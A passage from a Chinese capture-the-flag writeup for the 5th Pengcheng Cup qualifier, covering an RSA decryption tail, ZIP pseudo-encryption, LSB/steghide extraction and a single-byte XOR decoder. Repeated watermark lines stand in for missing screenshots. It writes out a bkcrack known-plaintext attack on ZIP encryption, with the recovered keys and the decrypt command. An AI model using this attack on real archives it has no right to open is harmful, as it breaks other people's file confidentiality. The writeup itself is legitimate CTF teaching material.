ciphertext = int.from_bytes(ciphertext, 'big')
plaintext = pow(ciphertext, d, n)
print(long_to_bytes(plaintext))

Misc

pcb5-ZipCracker | solved

三个文件都是伪加密
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
Do u know it是个grc文件
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
解调
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
得到的音频
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
密码是114514350234114514
明文攻击

bkcrack -C flag.zip -c flag.txt -x 0 666c61677b593075 -x 25 2121217d > 1.log

Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 339160
[16:26:00] Keys
33b19021 93c4a78d 9ceed931

bkcrack -C flag.zip -c flag.txt -k 33b19021 93c4a78d 9ceed931 -d flag

pcb5-Hidden | solved

Lsb
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
Steghide
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室

pcb5-whiteout | solved

第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
blobs/d53154d4f2499c5c31fdd61d359d2a9a0b9076ac639b102bb913c752f5769cfb:
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
用容器里的decode.py解出原内容:
decode.py


KEY = 0x37

def decode(path):
    with open(path, "rb") as f:
        data = f.read()
    return bytes(b ^ KEY for b in data)

if __name__ == "__main__":
    print(decode("syslog.bin"))